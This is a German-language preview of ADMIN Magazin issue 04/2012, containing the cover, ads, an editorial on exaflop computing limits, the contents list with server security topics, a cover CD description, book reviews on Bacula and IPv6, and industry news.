25.02.2014 Aufrufe

ADMIN Magazin Eigene Server gegen Angreifer schützen (Vorschau)

Sie wollen auch ein ePaper? Erhöhen Sie die Reichweite Ihrer Titel.

YUMPU macht aus Druck-PDFs automatisch weboptimierte ePaper, die Google liebt.

Perl: Datenbank-Zugriff Galera: Freie Clustermit<br />

dem DBI-Modul<br />

Software für MySQL<br />

<strong>ADMIN</strong><br />

Windows<br />

Netzwerk & Security<br />

n Unix-Umgebung per Gow<br />

n Im Test: System Center 2012<br />

Virtualisierung<br />

n KVM-Storage optimiert<br />

n Deltacloud: API für Clouds<br />

Crashdumps: Diagnose<br />

für Linux-Kernel-Crashs<br />

04 2012<br />

Juli – Aug.<br />

Abgeschirmt<br />

<strong>Eigene</strong> <strong>Server</strong> <strong>gegen</strong> <strong>Angreifer</strong> <strong>schützen</strong><br />

Spurensicherung durch Forensik<br />

Risiken: IPv6 und Webserver<br />

Linux-Schutz mit Grsecurity<br />

Auf Heft-CD:<br />

System Rescue CD<br />

Neue Version 2.8.0<br />

VIRTUALISIERUNGs-RubRIK<br />

Jetzt in JEDEM HEFT<br />

SSD-Cache<br />

Die perfekte Synthese:<br />

SSD als Festplatten-Cache<br />

Link Aggregation<br />

Für mehr Performance<br />

und Ausfallsicherheit<br />

Backup<br />

Drei leistungsfähige<br />

Open-Source-Lösungen<br />

www.admin-magazin.de<br />

D EUR 9,80<br />

A EUR 10,80 - BeNeLux EUR 11,25<br />

CH sfr 19,60 - E / I EUR 12,75<br />

4 196360 509805 04


<strong>Server</strong><br />

die mitwachsen<br />

Managed Hosting im Failover-Cluster<br />

Professionelles Hosting<br />

Individuelle Hostinglösungen vom <strong>Server</strong><br />

bis zum Clustersystem inklusive Beratung,<br />

Planung und Service 24/7.<br />

Für mehr Performance, Sicherheit und<br />

Verfügbarkeit, jeden Tag, rund um die Uhr.<br />

hostserver.de/server<br />

Sicherheit im Failover-Cluster:<br />

ISO 9001 zertifiziertes<br />

Managed Hosting<br />

Hochsicherheits-Datacenter<br />

in Frankfurt/Main<br />

DE-CIX Direktanbindung<br />

Umfassender Datenschutz<br />

nach BDSG<br />

24/7 Service und Support<br />

0 30 / 420 200 24 hostserver.de<br />

Berlin Marburg Frankfurt am Main<br />

Managed Hosting<br />

zertifiziert nach<br />

ISO 9001 : 2008


The writing on the wall<br />

Editorial<br />

The writing on the wall<br />

Jahrzehntelang schien alles klar: Die Anzahl der Transistoren pro Chip verdoppelte<br />

sich entsprechend der vom Intel-Mitbegründer Gordon Moore gefundenen Regel etwa<br />

alle zwei Jahre, und entsprechend wuchs auch die Rechenleistung exponentiell: Auf<br />

den Intel 80286 mit über 100 000 Transistoren und rund 2,66 MIPS im Jahr 1982<br />

folgte nach etwas mehr als drei Verdoppelungen im Zwei-Jahres-Turnus 1989 der<br />

80486 mit über einer Million Transistoren und der zehnfachen Rechenleistung. Zehn<br />

Jahre später war es regelkonform der Pentium III mit knapp 10 Millionen Transistoren<br />

und über 2000 MIPS. Über eine Milliarde Transistoren zählte man auf dem Dualcore<br />

Athlon FX 60 von AMD, der es 2006 vorhersehbar auf fast 20 000 MIPS brachte. Heutige<br />

Prozessoren wie der Intel Core i7 2600K in Sandy-Bridge-Technologie haben den<br />

halben Weg zu den 200 000 MIPS bereits zurückgelegt.<br />

Die Supercomputer, deren Leistung man eher in Floating-Point- statt Integer-Operationen pro Sekunde misst, hielten<br />

sich genauso an das Gesetz: 1997 der erste Teraflop-Rechner, 2008 fiel die Petaflop-Barriere, ab 2018 wird der erste<br />

Exaflop-Computer erwartet. Das bekräftigte gerade erst die International Supercomputing Conference in Hamburg.<br />

Sicher ist das aber nicht, und spätestens danach wird die Bilderbuchkarriere der weltschnellsten Rechner womöglich<br />

abreißen, denn überall zeichnen sich gewichtige Probleme ab.<br />

Nicht zuerst bei den Transistoren, die werden das Tempo noch eine Weile halten, obwohl sich auch da ein Menetekel<br />

andeutet: Die weitere Miniaturisierung wird in die Dimension atomarer Strukturen führen, die prinzipiell nicht mehr<br />

verkleinerbar sind. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />

Wahrscheinlich aber bereits zuvor stößt die Entwicklung beim Stromverbrauch an eine harte Grenze. In heutiger<br />

Technik würde ein Exaflop-Rechner 400 MW verbrauchen, so viel wie ein durchschnittliches konventionelles Kraftwerk<br />

leistet. Ein Großteil dieser Energie verwandelt sich in Wärme, die abgeführt werden muss. Das wäre momentan<br />

weder mach- noch finanzierbar. Die Zielgröße liegt bei maximal 20 MW pro Superrechner. Um sie zu erreichen, wird<br />

man sich etwas Intelligenteres einfallen lassen müssen.<br />

Ähnliches gilt für den Platzbedarf. Schon der erste Petaflop-Rechner brauchte rund 300 Racks, obwohl er noch um<br />

den Faktor 1000 vom Exaflop-Fernziel entfernt war. 300 000 Racks könnte man nirgendwo aufstellen. Als Obergrenze<br />

gelten höchstens 500. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />

Eine weitere Herausforderung ist die Programmierbarkeit und Zuverlässigkeit. Es wird darum gehen, zig Millionen<br />

Cores, Milliarden gleichzeitiger Operationen, Dutzende Petabyte Hauptspeicher zu managen und damit klarzukommen,<br />

dass sich in diesem gigantischen System wahrscheinlich jede Sekunde irgendwo ein Fehler ereignet. Gleichzeitig<br />

muss man diese unvorstellbare Rechenkraft auf die Straße bringen, damit sie nutzbar wird. Ein Rechner-Exot, den nur<br />

sein Guru programmieren kann, ist sinnlos. Heutige Tools und Softwarestacks helfen bei einer Aufgabe dieser Größenordnung<br />

nicht weiter. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />

Schließlich geht es auch um den Preis. Aktuelle Spitzensysteme kosten mehrere Hundert Millionen Dollar. Die Stunde<br />

Rechenzeit hat dadurch den Gegenwert eines Kleinwagens. Billiger wird es nicht. Wer soll das bezahlen? Und wofür?<br />

Sequoia, der schnellste Computer der Welt, rechnet heute an der Simulation von Atomwaffentests.<br />

Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />

@ leserbriefe@admin-magazin.de<br />

www.facebook.com/adminmagazin www.twitter.com/admagz<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

3


Service<br />

<strong>ADMIN</strong><br />

Netzwerk & Security<br />

Inhalt<br />

04/2012<br />

Wie man den Gefahren in Web und<br />

LAN begegnet — ein Schwerpunkt zum<br />

Thema Websecurity und mehr (ab S. 34)<br />

Honeypots sind die<br />

46Fallensteller<br />

Locktöpfe, die Admins<br />

für Eindringlinge aufstellen.<br />

Login<br />

Netzwerk<br />

Schwerpunkt: Security<br />

8 Vorgelesen<br />

Bücher zu Open-Source-Backup mit<br />

Bacula und IPv6.<br />

24 Dicke Leitung<br />

Link Aggregation realisiert mehr Durchsatz<br />

und Redundanz.<br />

40 Die Pflichten des Protokolls<br />

Unbeachtete IPv6-Features können das<br />

lokale Netz gefährden.<br />

10 Branchen-News<br />

Neues von Firmen und Projekten.<br />

16 Admin-Story<br />

Continuous Integration mit Jenkins.<br />

18 Recht bei Mailarchivierung<br />

Eine Anwältin erläutert, welche Mails<br />

man wie lange aufheben muss.<br />

Service<br />

3 Editorial<br />

4 Inhalt<br />

6 Heft-CD<br />

130 Impressum und <strong>Vorschau</strong><br />

28 Schweizer Netzwerkmesser<br />

Die kostenlose Netshell bietet unter Windows<br />

fortgeschrittene Einstelloptionen<br />

fürs Netz.<br />

Schwerpunkt: Security<br />

34 Spurensicherung<br />

Die forensische Analyse des Arbeitsspeichers<br />

unter Linux.<br />

46 Fallensteller<br />

Effektivere Honeypots durch Sensoren<br />

auf Produktivsystemen.<br />

52 Seitenkanäle mit Untiefen<br />

Manche Webanwendungen spielen<br />

<strong>Angreifer</strong>n unfreiwillig Informationen zu.<br />

56 Grsecurity<br />

Ein Kernel-Patch verbessert die Sicherheit<br />

durch rollenbasierten Schutz.<br />

4 Ausgabe 04-2012 Admin www.admin-magazin.de


Inhalt<br />

Service<br />

70<br />

Oldie but Goldie<br />

Alte Hasen chatten<br />

immer noch am<br />

liebs ten über das IRC-Protokoll.<br />

KVM-Virtualisierung<br />

bietet di-<br />

118Abgerundet<br />

verse Optionen für Storage.<br />

gut geführt<br />

Hilfestellungen auf<br />

96Benutzer<br />

Konsole und Desktop.<br />

Know-how<br />

64 Flugschreiber<br />

Kernel-Crashdumps konfigurieren und<br />

auswerten.<br />

82 Hochgeschwindigkeit<br />

Aus dem Facebook-Labor: SSDs als<br />

Cache für Festplattenspeicher.<br />

Basics<br />

94 In Harmonie<br />

Die Alternative zu Cygwin: ballaststoffarme<br />

Unix-Umgebung in Windows.<br />

70 Oldie but Goldie<br />

Einen eigenen IRC-<strong>Server</strong> für das Unternehmen<br />

aufsetzen.<br />

88 Abgesichert<br />

Ein neuer Cluster für MySQL vermeidet<br />

alte Beschränkungen.<br />

96 Benutzer gut geführt<br />

Auf dem Desktop und in der Konsole<br />

Benutzer vor Abwegen bewahren.<br />

76 Wettkampf<br />

Drei neue Open-Source-Lösungen:<br />

Netzwerk-Backup mit Burp, Obnam und<br />

Backshift.<br />

99 Verschwägert<br />

Der verschollene Verwandte bietet<br />

<strong>gegen</strong>über Linux einige Vorzüge:<br />

FreeBSD 9 installieren und testen.<br />

Test<br />

102 Das vierte Programm<br />

Die Hadoop-Distribution von Cloudera<br />

will den Cluster-Einsatz vereinfachen.<br />

106 An vorderster Front<br />

Fedora 17 bringt Ovirt fürs Virtualisierungsmanagement.<br />

110 Rundum sorglos<br />

Microsoft System Center 2012 — Management<br />

in der Cloud.<br />

Virtualisierung<br />

114 Anschlussfreudig<br />

Das Deltacloud-<br />

Projekt bietet<br />

eine API zum<br />

Zugriff auf viele<br />

Clouds.<br />

118 Abgerundet<br />

Die optimale Disk-Konfiguration führt<br />

zu besserer Performance bei KVM-<br />

Virtualisierung.<br />

Programmieren<br />

124 Go<br />

Schnörkellos<br />

und praxisnah:<br />

die Google-<br />

Programmiersprache<br />

Go.<br />

127 Perl-DBI<br />

Die Programmierschnittstelle zum<br />

herstellerübergreifenden Zugriff auf<br />

Datenbanken benutzen.<br />

Mehr Infos auf Seite 6<br />

Retter in der Not<br />

n Alle Tools zur Systemwiederherstellung auf einer CD<br />

n Im Desasterfall partitionieren, formatieren und Daten<br />

restaurieren von einer bootbaren Rettungs-CD<br />

www.admin-magazin.de Admin Ausgabe 04-2012<br />

5


SErvice<br />

Heft-CD<br />

Heft-CD<br />

Auf dem beiliegenden Datenträger finden Sie die neueste<br />

Version 2.8.0 der System Rescue CD [1], einer bootbaren CD<br />

für Systemrettung und andere Aufgaben.<br />

◗ Inklusive Tools für Partitionierung, Speichertest, Dateimanager,<br />

Backup & Restore [2].<br />

◗ Unterstützt eine Vielzahl von Dateisystemen, darunter<br />

Ext2/3/4, Btrfs, ReiserFS, XFS, JFS, VFAT, NTFS und<br />

HFS.<br />

◗ 32-Bit- und 64-Bit-Modus, Linux-Kernel 3.2 mit Long<br />

Term Support.<br />

Legen Sie einfach die CD in das Laufwerk ein, und starten<br />

Sie den Rechner. Möglicherweise müssen Sie noch im<br />

BIOS die richtige Boot-Reihenfolge einstellen, damit das<br />

Laufwerk vor der Festplatte an die Reihe kommt. n<br />

Info<br />

CD kaputt?<br />

Wir schicken Ihnen kostenlos eine<br />

Ersatz-CD zu, E-Mail genügt:<br />

info@admin-magazin.de<br />

[1] Projektseite: [http://www.sysresccd.org]<br />

[2] Informationen zu den enthaltenen Tools:<br />

[http://www.sysresccd.org/System-tools]<br />

6 Ausgabe 04-2012<br />

Admin www.admin-magazin.de


BUCHEN SIE BIS ZU<br />

VIRTUELLE<br />

99 MASCHINEN!<br />

1&1 DYNAMIC CLOUD SERVER: BLITZSCHNELL<br />

MEHR POWER NUTZEN!<br />

Jetzt 100 und heute Abend 1.000 Kunden?<br />

Kein Problem!<br />

■ NEU! Leistungserhöhung und Leistungsreduktion<br />

jederzeit flexibel nach Bedarf einstellbar<br />

■ NEU! Performance Features: bis zu 6 CPU, bis zu<br />

24 GB RAM und bis zu 800 GB HDD<br />

■ NEU! Jederzeit weitere Virtuelle Maschinen zubuchbar<br />

■ NEU! Stundengenaue Abrechnung<br />

■ NEU! Management und Monitoring Ihrer <strong>Server</strong>-<br />

Dienste im Browser oder per Mobile-App<br />

■ Hosting in den sicheren 1&1 Hochleistungs-Rechenzentren<br />

■ Linux- oder Windows-Betriebssystem,<br />

bei Bedarf Parallels Plesk Panel 10 unlimited vorinstalliert<br />

■ <strong>Eigene</strong> dedizierte <strong>Server</strong>-Umgebung mit vollem Root-Zugriff<br />

■ <strong>Eigene</strong>s SSL-Zertifikat<br />

■ 24/7 Hotline und Support<br />

1&1 DYNAMIC CLOUD SERVER<br />

3 MONATE FÜR<br />

0,–€/Monat, danach<br />

ab 39,99 €/Monat*<br />

Infos und<br />

Bestellung:<br />

0 26 02 / 96 91<br />

0800 / 100 668 www.1und1.info<br />

* 1&1 Dynamic Cloud <strong>Server</strong> Basiskonfi guration 3 Monate 0,– €/Monat, danach 39,99 €/Monat. Performance Features ab 0,01 € pro Stunde und Einheit zubuchbar. Konfi guration und<br />

Leistungsberechnung jeweils stundengenau. Einmalige Einrichtungsgebühr 39,– €. 12 Monate Mindestvertragslaufzeit. Preise inkl. MwSt.


Login<br />

Bücher<br />

Bücher über Bacula und IPv6<br />

Vorgelesen<br />

Diesen Monat beschäftigen sich die beiden Bücher im Lesetest mit der<br />

Open-Source-Backup-Lösung Bacula und dem IPv6-Protokoll.<br />

Jens-Christoph Brendel, Oliver Frommel<br />

Backup-Software für Linux gibt es überreichlich.<br />

Ein guter Teil davon ist freie<br />

Software. Aber solche, die auch andere<br />

Unixe oder sogar Windows-Clients sichert,<br />

ist schon viel seltener. Und wenn<br />

dann noch die Anforderungen einer Produktivumgebung<br />

berücksichtigt werden<br />

sollen: Zuverlässigkeit, Skalierbarkeit,<br />

Wartbarkeit – da fällt dem Admin nicht<br />

viel mehr als ein Name ein: Bacula. Nun<br />

ist das erste Buch über Bacula erschienen,<br />

noch dazu in deutscher Sprache.<br />

Der Autor Philipp Storz beschäftigt sich<br />

schon jahrelang mit der Backupsoftware<br />

und gehörte mit seiner Firma dassIT zu<br />

den ersten Partnern der Entwicklerfirma<br />

Bacula Inc. Von seinem fundierten Knowhow<br />

profitiert der Leser, den das Buch<br />

systematisch in die Materie einführt. Angefangen<br />

von Installation und Konfiguration<br />

über Erläuterungen zu den verschiedenen<br />

Backup-Strategien und Konzepten<br />

bis zur nicht ganz trivialen Konfiguration<br />

der verschiedenen Daemons und ihres<br />

Zusammenspiels.<br />

Ein weiteres Kapitel wendet sich der mit<br />

Bacula verwendbaren Hardware zu, vornehmlich<br />

Platten, Bandlaufwerken und<br />

Tape Libraries und ihrer Ansteuerung als<br />

Sicherungsmedien unter Bacula. Im Anschluss<br />

geht es um die Bedienung der<br />

Application via Bacula Console auf der<br />

Kommandozeile. GUIs, die es zumindest<br />

im Ansatz gibt, kommen nicht vor.<br />

Weitere Kapitel dringen noch weiter in die<br />

Materie vor und diskutieren die verschiedenen<br />

Optionen bei File Sets (Rechte,<br />

Meta-Daten, Filter und so weiter) oder<br />

spezielle Einstellungen für Zeitpläne oder<br />

Benachrichtigungen. Auch das Thema<br />

Bacula in größeren Umgebungen kommt<br />

aufs Tapet. Es werden noch einmal verschiedene<br />

Sicherungsstrategien und ihre<br />

Umsetzung in Bacula beleuchtet, wie<br />

auch das Feature, den Ist-Zustand mit<br />

älteren Versionen zu vergleichen, ohne<br />

sich auf Zeitstempel zu verlassen.<br />

Ein eigenes Kapitel behandelt das Disaster<br />

Recovery und die dabei nötigen<br />

Werkzeuge. Schließlich kommt auch<br />

die Fehlersuche in Bacula-Installationen<br />

nicht zu kurz. Alles in allem ein umfassendes<br />

Nachschlagewerk für alle Bacula-<br />

Anwender, Einsteiger ebenso wie Fortgeschrittene.<br />

IPv6<br />

Seit dem 6. Juni 2012 läuft das Internet<br />

offiziell auch mit IPv6. Jedenfalls,<br />

wenn es nach dem Willen der obersten<br />

Internet-Behörden gehen soll. Tatsächlich<br />

verwendet derzeit etwa ein Prozent der<br />

Internet-Hosts das IPv6-Protokoll.<br />

Dennoch tritt es langsam aber sicher<br />

auch seinen Weg in die Firmennetze an<br />

und provoziert den Administrator zur<br />

Weiterbildung. Bücher gibt es auf dem<br />

deutschsprachigen Markt nicht sehr viele,<br />

eines davon ist „IPv6 – Das Praxisbuch“<br />

von Dirk Jarzyna, das im mitp-Verlag<br />

erschienen ist.<br />

Obwohl der Titel groß „IPv6“ ankündigt,<br />

beschäftigt sich das Buch zur Hälfte mit<br />

dem IPv4-Protokoll. Der Klappentext begründet<br />

dies damit, dass ein Verständnis<br />

von IPv6 einen Vergleich der Protokollfamilien<br />

voraussetze – eine Argumentation,<br />

der man nicht unbedingt folgen muss.<br />

So ist die detaillierte Erklärung von TCP/​<br />

IP- und OSI-Schichtenmodell nur für absolute<br />

Einsteiger von Nutzen, kaum für<br />

gestandene Administratoren, die sich nun<br />

in IPv6 einarbeiten wollen. Weitere Kapitel<br />

über TCP, Subnetz-Bildung, Adressierung,<br />

Subnetting und Routing folgen,<br />

wohlgemerkt mit IPv4.<br />

Der zweite Teil handelt die entsprechenden<br />

Punkte zu IPv6 beinahe knapper<br />

ab, aber immerhin sind die wichtigsten<br />

Aspekte angesprochen. Praktische Aspekte<br />

wie Dual-Stack-Betrieb und IPv6-<br />

Anbindung per Tunnels erklärt das Buch<br />

knapp, hier wären ausführlichere Erklärungen<br />

sicher möglich. Lobenswert ist<br />

ein eigenes Kapitel zu Sicherheitsaspekten<br />

bei IPv6, das kurz auf mögliche neue<br />

Angriffsvektoren eingeht.<br />

Insgesamt kommt der praktische Aspekt<br />

des „Praxishandbuchs“ deutlich zu kurz.<br />

Auch ist es kaum verständlich, warum<br />

das IPv4-Protokoll in einem Buch zu IPv6<br />

einen derart großen Umfang einnimmt.<br />

Wenn man die Knappheit der Darstellung<br />

als Vorzug versteht, ist das IPv6-<br />

Praxishandbuch ein kurzes Kompendium<br />

zu TCP/​IP, das auch einen Einstieg in das<br />

IPv6-Protokoll liefert.<br />

n<br />

Bacula<br />

Philipp Storz<br />

Bacula<br />

447 Seiten<br />

Open Source Press<br />

46 Euro<br />

ISBN: 3941841416<br />

IPv6<br />

Dirk Jarzyna<br />

IPv6 – Das Praxisbuch<br />

245 Seiten<br />

mitp<br />

24,95 Euro<br />

ISBN: 3826691172<br />

8 Ausgabe 04-2012 Admin www.admin-magazin.de


WWW.VIEWEGTEUBNER.DE<br />

springer-vieweg.de<br />

Fachbücher zur IT-Sicherheit<br />

Heinrich Kersten, Klaus-Dieter Wolfenstetter<br />

IT-Sicherheitsmanagement nach ISO 27001 und Grundschutz<br />

Der Weg zur Zertifizierung<br />

3., akt. und erw. Aufl. 2011. XVI, 363 S. mit 4 Abb. u. 20 Tab. (Edition ) Br. € (D) 54,95<br />

ISBN 978-3-8348-1599-6<br />

Das Buch führt den Leser Schritt für Schritt in diese Standards ein und legt verständlich dar, wie man ein adäquates<br />

Management-System (ISMS) aufbaut.Viele kommentierte Maßnahmen unterstützen Sicherheitsverantwortliche<br />

bei der Auswahl geeigneter Sicherheitsmaßnahmen in allen Bereichen. Zusätzlich erhält der Leser<br />

detaillierte Informationen zu internen und externen Audits sowie der Zertifizierung nach ISO 27001.<br />

Diese erweiterte 3. Auflage des Buches berücksichtigt neu hinzugekommene Normen der ISO 2700x Reihe<br />

und vertieft die Themen Risikoanalyse, Messung der Sicherheit sowie die Schnittstelle zum IT-Grundschutz<br />

des BSI, der sich nahtlos an die genannten Standards anschließt.<br />

Klaus-Rainer Müller<br />

IT-Sicherheit mit System<br />

Integratives IT-Sicherheits-, Kontinuitäts- und Risikomanagement - Sicherheitspyramide - Standards und<br />

Practices - SOA und Softwareentwicklung<br />

4., neu bearb. und erw. Aufl. 2011. XXVI, 577 S. mit 38 Abb. Geb. € (D) 79,95<br />

ISBN 978-3-8348-1536-1<br />

Mit diesem Buch identifizieren Sie Risiken, bauen wegweisendes effizienzförderndes Handlungswissen auf,<br />

richten Ihre IT sowie deren Prozesse, Ressourcen und die Organisation systematisch und effektiv auf Sicherheit<br />

aus und integrieren Sicherheit in den IT-Lebenszyklus. Der Autor führt Sie von der Politik bis zu Konzepten und<br />

Maßnahmen. Beispiele und Checklisten unterstützen Sie und der Online-Service des Autors bietet Ihnen zusätzliche<br />

News, Links und ergänzende Beiträge.<br />

Gerhard Klett, Klaus-Werner Schröder, Heinrich Kersten<br />

IT-Notfallmanagement mit System<br />

Notfälle bei der Informationsverarbeitung sicher beherrschen<br />

2011. XII, 200 S. mit 17 Abb. u. 14 Tab. (Edition ) Br. € (D) 34,95<br />

ISBN 978-3-8348-1288-9<br />

Im Buch werden nach einem Praxisbericht u. a. folgende Themen behandelt: Business Impact Analysis,<br />

Business Continuity nach ISO 27001, Notfallvorsorge nach IT-Grundschutz, Notfall-Leitlinie, Notfallorganisation,<br />

Wiederanlaufplanung, Notbetrieb, Hot-, Warm- und Cold-Standby. Präventive Maßnahmen zur Notfallverhinderung<br />

werden ebenso behandelt wie Maßnahmen zur Notfallbewältigung und die Notfall-Dokumentation.<br />

Ralf-T. Grünendahl, Andreas F. Steinbacher, Peter H.L. Will<br />

Das IT-Gesetz: Compliance in der IT-Sicherheit<br />

Leitfaden für ein Regelwerk zur IT-Sicherheit im Unternehmen<br />

2., akt. Aufl. 2012. XII, 358 S. mit 34 Abb. u. 27 Tab. Br. € (D) 49,95<br />

ISBN 978-3-8348-1680-1<br />

Das Buch richtet sich an Führungskräfte und Sicherheitsbeauftragte, die vor der Aufgabe stehen,<br />

Regelungen zur IT-Sicherheit für ihr Unternehmen zu definieren. Dieses Buch liefert dazu eine konkrete<br />

Anleitung. Es basiert auf internationalen Standards wie BSI Grundschutz-Handbuch, Cobit und ITIL.<br />

Einfach bestellen: SpringerDE-service@springer.com Telefon +49 (0)6221 / 3 45 – 4301<br />

Änderungen vorbehalten. Erhältlich im Buchhandel oder beim Verlag. Innerhalb Deutschlands liefern wir versandkostenfrei.


Login<br />

News<br />

+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte<br />

Neue Software und Produkte<br />

Branchen-News<br />

Mitgliederzuwachs bei der Linux Foundation<br />

Die Linux Foundation kann sich über einen<br />

weiteren Sponsor ihrer Aktivitäten<br />

rund um das freie Betriebssystem freuen.<br />

Samsung Electronics hat sich als sogenanntes<br />

Platin-Mitglied beworben. Mit<br />

Adeneo, Feuerlabs, Omnibond, Stec und<br />

Synopsys kann die Linux Foundation zudem<br />

fünf neue Mitglieder im Silber-Status<br />

begrüßen.<br />

Samsung möchte mit der Mitgliedschaft<br />

einen Beitrag für die Weiterentwicklung<br />

von Linux leisten. Der koreanische Konzern<br />

will sich auch an der Kernel-Entwicklung<br />

beteiligen.<br />

Die mittlerweile sieben Platin-Mitglieder<br />

zahlen jährlich je einen Beitrag 500.000<br />

US-Dollar und bekommen einen Sitz im<br />

Board of Directors der Stiftung.<br />

Jim Zemlin, Direktor der Linux Found ation<br />

sieht eine Win-Win-Situation, Samsung<br />

festige damit seine Erfolgsstrategie. Ein<br />

sogenannter Silver Member zahlt, abhängig<br />

von der Firmengröße, einen Jahresbeitrag<br />

zwischen 5000 und 20.000 US-Dollar.<br />

Ihre Mitglieder hat die Linux Foundation<br />

im Web [http://​www.​linuxfoundation.​org/​about/​<br />

​members] aufgelistet.<br />

Top 500: Der Viertschnellste steht in München<br />

Im Rahmen der Opening Session der International<br />

Supercomputing Conference<br />

ISC ’12 in Hamburg wurde die 39te Liste<br />

der 500 schnellsten Computer der Welt<br />

präsentiert.<br />

Der neue Spitzenreiter, das Sequoia-<br />

System (IBM BlueGene/​Q) des Lawrence<br />

Livermore National Laboratory in den<br />

USA, erreicht unter Linux mit insgesamt<br />

1 572 864 Cores einen maximalen Linpack-Wert<br />

von 16 324,8 Teraflops (16,32<br />

Petaflops). Auf dem Fuß folgt ihm der<br />

japanische K-Computer mit Sparc64-<br />

CPUs, der vormalige Spitzenreiter, mit 10<br />

510 Teraflops. Schon auf Platz vier findet<br />

sich der eben erst in Betrieb genommene<br />

SuperMUC des Leibniz-Rechenzentrums<br />

der TU München, der schnellste Rechner<br />

in Europa, der immerhin 2 897 Teraflops<br />

Der SuperMUC des Leibniz-Rechenzentrums ist der schnellste Rechner in Europa.<br />

© LRZ<br />

aufzubieten hat und von IBM installiert<br />

wurde.<br />

IBM dominiert auch wie in den Jahren<br />

zuvor souverän die Rangfolge der erfolgreichsten<br />

Hersteller von Supercomputern:<br />

213 der Top500 stammen von ihm, was<br />

einen Anteil von 43 Prozent ausmacht.<br />

Auf Platz zwei findet sich HP mit 27 Prozent<br />

Anteil, andere Hersteller wie Dell,<br />

Fujitsu, Cray oder Bull kommen nur auf<br />

einstellige Prozentwerte. Untersucht man<br />

die Verteilung der Superrechner nach Regionen,<br />

dann entfallen die Hälfte der Installationen<br />

auf die USA. Bereits auf dem<br />

zweiten Platz folgt mit 14 Prozent China,<br />

das in den letzten Jahren sehr stark an<br />

Wachstum zugelegt hat. Deutschland (4<br />

Prozent) spielt in einer Liga mit Frankreich<br />

(4 Prozent) oder England (5 Prozent),<br />

stellt aber mit dem Rechner Ju-<br />

Queen des Forschungszentrums Jülich<br />

immerhin ein zweites System unter den<br />

Top 10 (Platz 8).<br />

Bei den Prozessoren hat Intel seit Jahren<br />

ebenso unangefochten die Nase vorn wie<br />

IBM bei den Herstellern: Rechnet man<br />

die verschiedenen Intel-Prozessortypen<br />

zusammen, kommt man auf einen Anteil<br />

über 70 Prozent. Dabei sterben Dual-Coreund<br />

selbst Quad-Core-Systeme langsam<br />

aus, der Trend geht zu 8 bis 16 Kernen<br />

pro CPU.<br />

Eines der nach wie vor am meisten diskutierten<br />

Themen auf der Konferenz ist<br />

die Energieeffizienz. Würde der <strong>gegen</strong>wärtige<br />

Trend fortbestehen, müsste ein<br />

Superrechner zum Ende der laufenden<br />

Dekade, wenn man den Durchbruch<br />

zum Exaflop-Computing erwartet, acht<br />

bis neun Megawatt Strom verbrauchen.<br />

Allerdings hofft man, diesen Wert bis<br />

dahin deutlich senken zu können und<br />

konzentriert große Forschungskapazitäten<br />

auf dieses Ziel.<br />

Die International Supercomputing Conference<br />

begrüßte dieses Jahr die Rekordzahl<br />

von über 2100 Teilnehmer aus 55<br />

Ländern, die in mehr als 30 Sessions<br />

über 100 Vortragenden folgen werden.<br />

Nachdem sie in diesem Jahr zum vierten<br />

Mal in Hamburg stattfand, wird der<br />

Austragungsort im nächsten Jahr nach<br />

Leipzig wechseln.<br />

10 Ausgabe 04-2012 Admin www.admin-magazin.de


n immer auf http://www.admin-magazin.de<br />

Anmeldestart für Open-Suse-Konferenz<br />

Die Anmeldung zur Open-Suse-Konferenz, die vom 20. bis 23.<br />

Oktober 2012 in Prag stattfindet, ist eröffnet. Auch Beiträge<br />

zum Programm werden noch angenommen. Dabei beherbergt<br />

die technische Universität Prag gleichzeitig drei weitere Treffen:<br />

die Gentoo Miniconf, die tschechischen Linux Days, einen Track<br />

namens Future Media sowie die Suse Labs Conference.<br />

Die kostenlose Registrierung ist per Webformular möglich. Wer<br />

die Veranstaltung unterstützen möchte, kann ein Supporter-Paket<br />

für 40 Euro oder den Professional-Tarif für 250 Euro wählen.<br />

Förderer nehmen am Dinner der Referenten teil, Professionals<br />

treffen sich zudem mit dem Suse-Management.<br />

Weitere Informationen zur Veranstaltung gibt es auf einer Portalseite<br />

[http://​en.​opensuse.​org/​Portal:Conference] im Open-Suse-Wiki.<br />

Interessierte Sprecher sind eingeladen, Beiträge einzureichen.<br />

TM<br />

MobyDick<br />

D i e Z u k u n f t der Telefonie<br />

Mit der MobyDick Telefonanlage haben Sie alle Fäden selbst in<br />

der Hand. Außerdem verbinden Sie die Features modernster<br />

Telefonie mit den Vorteilen von Voice over IP.<br />

Die Kommunikationslösung für Ihr<br />

Unternehmen<br />

Die Open-Suse-Konferenz, die im Oktober in Prag stattfindet, beheimatet noch<br />

weitere Events rund um Open Source.<br />

Btrfs-Chefentwickler verlässt Oracle<br />

Chris Mason, der Hauptentwickler des Linux-Dateisystems<br />

Btrfs, wechselt kommende Woche von seinem bisherigen Arbeitgeber<br />

Oracle zum SSD-Storage-Hersteller Fusion-IO. Dies<br />

teilt er in einer Nachricht an die Btrfs-Mailingliste mit. An der<br />

Entwicklung von Btrfs soll sich dadurch nichts ändern. Oracle<br />

soll weiterhin Btrfs in seinen Linux-Produkten einsetzen, Mason<br />

wird künftig Auftrag von Fusion-IO an Btrfs arbeiten.<br />

Btrfs wird bereits seit Längerem als das kommende Linux-<br />

Dateisystem gehandelt, das unter anderem Snapshots und RAID<br />

beherrscht. Allerdings gilt es immer noch nicht als völlig ausgereift,<br />

wenngleich Oracle und Suse das Dateisystems in ihre<br />

Distributionen aufgenommen haben.<br />

Oracle vs. Google: kein Copyright auf APIs<br />

In dem Gerichtsverfahren zwischen Oracle und Google, in<br />

dem es darum geht, inwieweit die Android-Plattform Oracles<br />

Rechte am „geistigen Eigentum“ vom Java verletzt, hat der<br />

vorsitzende Richter Alsup eine grundlegende Entscheidung<br />

getroffen: Programmierschnittstellen (APIs) fallen nicht unter<br />

das Urheberrecht. Solange sich der Code selbst unterscheidet,<br />

widerspreche es nicht dem geltenden Recht, eine API etwa mit<br />

gleich benannten Klassen und Methoden zu implementieren.<br />

Mit dieser Entscheidung ist ein weiteres Argument entkräftet,<br />

das Oracle <strong>gegen</strong> Google und die Android-Plattform in Anschlag<br />

gebracht hatte. Oracle will nun <strong>gegen</strong> das jüngste Urteil in<br />

Berufung gehen.<br />

www.admin-magazin.de<br />

Unified Communications:<br />

Telefon<br />

Video<br />

VoiceMail<br />

Präsenzmanager<br />

